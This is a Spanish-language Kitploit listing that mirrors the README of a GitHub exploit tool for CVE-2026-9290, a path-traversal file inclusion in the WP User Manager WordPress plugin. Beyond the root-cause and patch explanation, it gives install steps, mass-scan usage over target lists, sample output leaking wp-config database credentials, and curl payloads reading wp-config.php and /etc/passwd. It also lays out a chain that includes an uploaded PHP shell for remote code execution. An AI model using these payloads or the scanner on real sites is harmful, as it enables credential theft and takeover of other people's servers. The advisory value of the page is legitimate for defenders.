Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-9290 — Inclusión de archivos locales sin autenticación en WP User Manager <= 2.9.17 mediante path traversal en el parámetro tab (CVSS 7.5) | Kitploit
Herramientas/GitHubGitHub/shinthink/cve-2026-9290
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónAprendizaje y Educación
GitHubshinthink/cve-2026-9290

CVE-2026-9290

Inclusión de archivos locales sin autenticación en WP User Manager <= 2.9.17 mediante path traversal en el parámetro tab (CVSS 7.5)

Ver Repositorio
2hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-9290 — Exploit de LFI a RCE en WP User Manager

Path Traversal sin autenticación a través del parámetro 'tab' → Inclusión Local de Archivos (LFI)


Resumen

CVE-2026-9290 es una vulnerabilidad de Inclusión Local de Archivos (LFI) sin autenticación, de severidad alta (CVSS 7.5), en el plugin de WordPress WP User Manager – User Profile Builder & Membership (≤ 2.9.17).

La función wpum_get_active_profile_tab() pasa el parámetro de consulta directamente al cargador de plantillas de Gamajo sin validación de lista blanca. Las secuencias de path traversal en el valor de permiten a atacantes no autenticados incluir archivos arbitrarios del servidor mediante el include() de PHP.

tab
tab

Versiones afectadas

Versión de WP User ManagerEstado
≤ 2.9.17Vulnerable
≥ 2.9.18Corregida

Mecanismo de la vulnerabilidad

Causa raíz

En includes/functions.php, la función wpum_get_active_profile_tab() toma el parámetro de consulta tab sin validación de lista blanca:

root@kitploit:~
// Vulnerable: no whitelist check on $tab value
$tab = isset($_GET['tab']) ? sanitize_text_field($_GET['tab']) : 'profile';
wpum_get_active_profile_tab($tab);

El valor se pasa a Gamajo_Template_Loader::get_template_part(), que resuelve e incluye el archivo de plantilla:

root@kitploit:~
// class-gamajo-template-loader.php line 226
include($template_path . $tab . '.php');

sanitize_text_field() NO elimina las secuencias de path traversal. ../../../wp-config pasa sin filtrarse.

Flujo del ataque

root@kitploit:~
GET /profile/?tab=../../../wp-config
  → wpum_get_active_profile_tab('../../../wp-config')
  → Gamajo_Template_Loader::include('../../../wp-config.php')
  → wp-config.php included → DB credentials exposed

Archivos clave

ArchivoLíneaFunción
includes/functions.php#L955wpum_get_active_profile_tab() — sin lista blanca
templates/profile.php#L52Alcance de la plantilla de perfil
class-gamajo-template-loader.php#L226include() sin sanitizar

Parche (2.9.18)

El PR #445 añade validación de lista blanca:

root@kitploit:~
// Patched: check against registered tabs
if (!array_key_exists($tab, $registered_tabs)) {
    $tab = 'profile'; // fallback to default
}

Instalación

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-9290.git
cd CVE-2026-9290
pip install -r requirements.txt

Uso

root@kitploit:~
# Single target — LFI probe
python cve_2026_9290.py -t target.com

# Mass scan
python cve_2026_9290.py -f targets.txt -v

# Read specific file via LFI
python cve_2026_9290.py -t target.com --read "../../../wp-config.php"

# Save results
python cve_2026_9290.py -f targets.txt -o lfi.txt

Argumentos

root@kitploit:~
  -t, --target      Single target (domain or IP)
  -f, --file        Target list, one per line
  --read PATH       Read a specific file via LFI
  -o, --output      Save results to file
  --threads         Workers (default: 25)
  -v, --verbose     Show detailed output

Prueba de concepto

Detección y LFI

root@kitploit:~
$ python cve_2026_9290.py -t target.com -v
root@kitploit:~
  CVE-2026-9290 — WP User Manager LFI → RCE Exploit
  CVSS 7.5 | Pre-Auth | Path Traversal via 'tab' Parameter

    [+] WP User Manager detected
    [+] Profile page: /profile/
    [+] LFI confirmed: wp-config.php (DB credentials)
    [+] Content preview: define('DB_NAME', 'wordpress_db'); define('DB_USER', 'admin');

  Host     : target.com
  WPUM     : YES
  LFI      : YES
  File     : wp-config.php (DB credentials)
  Time     : 3.2s

Escaneo masivo

root@kitploit:~
  [LFI]     target-1.com        3.2s  wp-config.php (DB credentials)
            define('DB_NAME', 'wp_db'); define('DB_USER', 'root');
  [LFI]     target-2.com        4.1s  wp-config.php (DB credentials)
            define('DB_NAME', 'site_db'); define('DB_USER', 'admin');
  [200/5458] 3%  |  WPUM:12  LFI:5  |  current-target.com

Explotación manual

Paso 1 — Detectar WP User Manager

root@kitploit:~
curl -sk 'https://target.com/wp-content/plugins/wp-user-manager/readme.txt' | head -3

Paso 2 — Encontrar la página de perfil

root@kitploit:~
curl -sk 'https://target.com/' | grep -oP 'href="[^"]*(?:profile|account|dashboard)[^"]*"'

Paso 3 — LFI a través del parámetro tab

root@kitploit:~
# Read wp-config.php
curl -sk 'https://target.com/profile/?tab=../../../wp-config'

# Read /etc/passwd  
curl -sk 'https://target.com/profile/?tab=../../../../../../../etc/passwd'

# RCE — include uploaded PHP shell
curl -sk 'https://target.com/profile/?tab=../../../wp-content/uploads/2026/07/shell'

Cadena de RCE

root@kitploit:~
1. LFI → read wp-config.php → get DB credentials
2. Upload PHP shell via another plugin/media endpoint
3. LFI → include uploaded shell → RCE

Descargo de responsabilidad

SOLO CON FINES EDUCATIVOS Y DE PRUEBAS AUTORIZADAS.

Este software está destinado a profesionales de la seguridad que realizan pruebas de penetración autorizadas, organizaciones que auditan su propia infraestructura e investigadores que estudian la explotación de vulnerabilidades.

El acceso no autorizado a sistemas informáticos es ilegal y puede violar:

  • Estados Unidos: Computer Fraud and Abuse Act (18 U.S.C. 1030)
  • Indonesia: UU ITE Pasal 30 & 46
  • Unión Europea: Directiva 2013/40/UE
  • Reino Unido: Computer Misuse Act 1990

Los autores no asumen ninguna responsabilidad por el mal uso.


Referencias

RecursoEnlace
Aviso de GitHubGHSA-83v9-496w-54wx
Aviso de Wordfencewordfence.com
PR del parcheGitHub #445
Análisis de IONIXionix.io

Este proyecto no está afiliado con WP User Manager ni Carbon Fields.

Descargar herramienta